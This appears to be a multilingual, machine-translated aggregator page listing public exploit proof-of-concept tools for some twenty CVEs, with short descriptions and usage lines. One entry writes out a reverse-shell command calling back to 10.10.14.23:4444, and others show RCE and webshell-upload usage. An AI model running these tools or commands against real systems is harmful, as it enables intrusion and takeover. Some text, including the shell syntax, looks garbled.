ApacheStruts-CVE-2018-11776

Apache Struts CVE-2018-11776 Python PoC Isto é baseado em https://github.com/hook-s3c/CVE-2018-11776-Python-PoC. A criação do contêiner e as instruções não funcionaram conforme descrito no README, então este fork foi criado. O exploit PoC utilizado é da Rapid7. Agradecimentos: hook-s3c...

CVE-2019-11708

Catena di exploit completa per CVE-2019-11708 e CVE-2019-9810 Questa è una catena di exploit completa per compromettere il browser CVE-2019-11708 e CVE-2019-9810 che prende di mira Firefox su Windows a 64 bit. Utilizza CVE-2019-9810 per ottenere l'esecuzione di codice sia nel processo content che...

CVE-2020-27838

Badges Licenza MIT Installazione 1. Installa Python3 e pip Istruzioni qui Se non riesci a capirlo, non dovresti usarlo Installa tramite pip root@kitploit: pip install CVE-2020-27838 Esegui il comando qui sotto per verificare CVE-2020-27838 -h Configurazioni 2. Abbiamo integrato l'API di Telegram...

CVE-2025-55816

CVE-2025-55816 CVE-2025-55816 HotelDruid 3.0.7 Autore: partywave Collaborazione: Raptx team Riferimenti esterni Changelog di HotelDruid 3.0.8 Blog post sul CVE Sito di Raptx Vulnerabilità La vulnerabilità è una semplice Stored Cross Site Scripting XSS nell'endpoint /modificaapp.php. L'attaccante...

CVE-2023-40037

CVE-2023-40037: Validazione incompleta degli URL di connessione JDBC e JNDI in Apache NiFi Apache NiFi dalla versione 1.21.0 alla 1.23.0 supporta l'accesso JDBC e JNDI JMS in diversi Processor e Controller Services con una validazione degli URL di connessione che non fornisce una protezione...

CVE-2023-24044

Badge Licenza MIT Installazione 1. Installa Python3 e pip Istruzioni qui Se non riesci a capire questo, probabilmente non dovresti usare questo strumento Installa tramite pip root@kitploit: pip install CVE-2023-24044 Esegui il comando qui sotto per verificare CVE-2023-24044 -h Configurazioni 2...

CVE-2022-30780-lighttpd-denial-of-service

CVE-2022-30780 - denial of service remoto su lighttpd CVE-2022-30780 - denial of service remoto su lighttpd Riepilogo Un attaccante non autenticato può inviare una richiesta HTTP con un URL che supera la lunghezza massima consentita, provocando un denial of service. Versioni vulnerabili Le seguen...

CVE-2024-47533

root@kitploit: Shell inversa python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' Comando semplice python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' Aggiungi chiave SSH python3 CVE-2024-47533.py --url http://127.0.0.1:251...

CVE-2023-4294

CVE-ID : CVE-2023-4294 Schwachstellentyp : Cross-Site Scripting Beschreibung : Das URL Shortify-Plugin für WordPress ist in Versionen bis einschließlich 1.7.5 anfällig für gespeichertes Cross-Site Scripting über den Referrer-Header, da die Eingabebereinigung und Ausgabe-Escaping unzureichend sind...

CVE-2023-24488

POC para CVE-2023-24488 Esta ferramenta é inspirada em uma ferramenta semelhante https://github.com/securitycipher/CVE-2023-24488 construída em python. Esta ferramenta foi construída em golang e foi refinada a partir de sua versão em python, sendo usada para exploração da CVE-2023-24488 Instalaçã...

CVE-2023-42793

Sobre CVE-2023-42793 Você precisará obter o token primeiro usando um exploit diferente. No entanto, o exploit a seguir permitirá que você obtenha RCE no servidor Linux, pois ele codifica o payload na URL e o envia para o servidor. Como usar root@kitploit: python3 ./main -t TEAMCITYTOKEN -u...

CVE-2022-29464

CVE-2022-29464 Exploit de POC para CVE-2022-29464 Uso root@kitploit: usage: exploit.py -h -u URL -l LIST -w WEBSHELL optional arguments: -h, --help show this help message and exit -u URL, --url URL Target url, http://localhost:9443 -l LIST, --list LIST List of target url saperated with new line -...

CVE-2023-24488

CVE-2023-24488 POC para CVE-2023-24488 Citrix Gateway Open Redirect e XSS CVE-2023-24488 Os parâmetros de consulta de URL não são adequadamente sanitizados antes de serem colocados no cabeçalho HTTP Location. Um atacante pode explorar isso para criar um link que, quando clicado, redireciona a...

CVE-2021-39165

CVE-2021-39165 POC em Python3 para CVE-2021-39165 no CachetHQ Uso Primeiramente, você deve instalar as dependências: root@kitploit: pip3 install -r requirements.txt Se quiser verificar se a URL da vítima é vulnerável ou não, execute: root@kitploit: python3 exploit.py -u -c Se quiser saber o...

CVE-2022-26134

CVE-2022-26134 Verwendung: exploit.py url command...

CVE-2023-35078

CVE-2023-35078 Ivanti Endpoint Manager Mobile EPMM POC Utilizzo python3 CVE-2023-35078.py -u https://url.com pytohn3 CVE-2023-35078.py -f urls.txt...

CVE-2021-43778

CVE-2021-43778 CVE-2021-43778 poc uso: CVE-2021-43778 http://test.com...

CVE-2023-22432

CVE-2023-22432 Verificação de PoC da vulnerabilidade web2py CVE-2023-22432 Uma vulnerabilidade CVE-2023-22432 no web2py foi divulgada em 31 de janeiro de 2023 horário dos EUA. Este artigo descreve nossa discussão sobre essa vulnerabilidade e os resultados de nossa verificação. Resumo da...

node-pdf-generator-ssrf

CVE-2020-7740 Dies betrifft alle Versionen des Pakets node-pdf-generator. Aufgrund fehlender Eingabevalidierung und -bereinigung des Inhalts, der an node-pdf-generator übergeben wird, ist es einem Angreifer möglich, eine URL zu erstellen, die an einen externen Server weitergeleitet wird, was eine...

CVE-2022-42889

CVE-2022-42889-POC Eine einfache Demo-Anwendung, die zeigt, wie die Schwachstelle CVE-2022-42889 ausgenutzt werden kann. Nutzt OOB-Dienste Out of Band, um dns- und url-Präfixe zu demonstrieren. JavaDocs für die commons-text-Interpolation commons-text JavaDocs Beispiel-Interpolationen...